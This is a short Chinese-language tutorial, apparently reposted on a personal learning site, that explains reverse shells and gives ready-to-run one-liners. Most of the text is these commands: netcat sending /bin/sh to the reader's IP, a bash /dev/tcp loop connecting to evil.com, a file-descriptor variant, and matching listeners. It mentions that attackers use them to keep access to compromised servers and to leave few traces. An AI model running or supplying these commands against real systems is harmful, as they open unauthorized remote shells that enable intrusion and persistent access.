反向shell(Reverse shell)是一種往遠程機器發送shell命令的技術,當遠程機器處在防火墻等其它東西后面時,這種技術會變得非常有用。你也許會說,“一個普通的shell或簡單的SSH通道不是也能實現這些嗎?”不,無法實現。在網上,我看到很多人對普通shell和反向shell之間的區別分不清。在我們開始下面的內容前,先弄清楚這些概念。
反向shell經常會被黑客用來做一些不法行為,例如入侵了一臺服務器后,他們會設置一個反向shell,將來他們就能通過這個shell輕松的訪問這臺遠程計算機。我相信你是不會用它來做這種事情的。
當通過shell登錄到遠程主機后,下面的指令能輕松的將shell發送到你的機器上:
nc -c /bin/sh <你的IP> <任何一個未封鎖的端口>
你甚至能通過netcat來pipe BASH。
/bin/sh | nc <你的IP> <任何未封鎖的端口>
然后監聽這個shell:
nc -l -p <相同的端口> -vvv
這種技術是當遠程機器上沒有netcat或你想做一些非自然的事情而不想留下太重的痕跡時使用。
監聽shell:
nc -l -p <任何未封鎖的端口> -vvv
先創建一個新的描述符,分配到一個網絡節點。這樣我們可以對這個描述符進行讀寫。
exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一個反向shell:
0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196
這樣,你就可以輕松是通過netcat發送任何命令了。
本站文章版權歸原作者及原出處所有 。內容為作者個人觀點, 并不代表本站贊同其觀點和對其真實性負責,本站只提供參考并不構成任何投資及應用建議。本站是一個個人學習交流的平臺,網站上部分文章為轉載,并不用于任何商業目的,我們已經盡可能的對作者和來源進行了通告,但是能力有限或疏忽,造成漏登,請及時聯系我們,我們將根據著作權人的要求,立即更正或者刪除有關內容。本站擁有對此聲明的最終解釋權。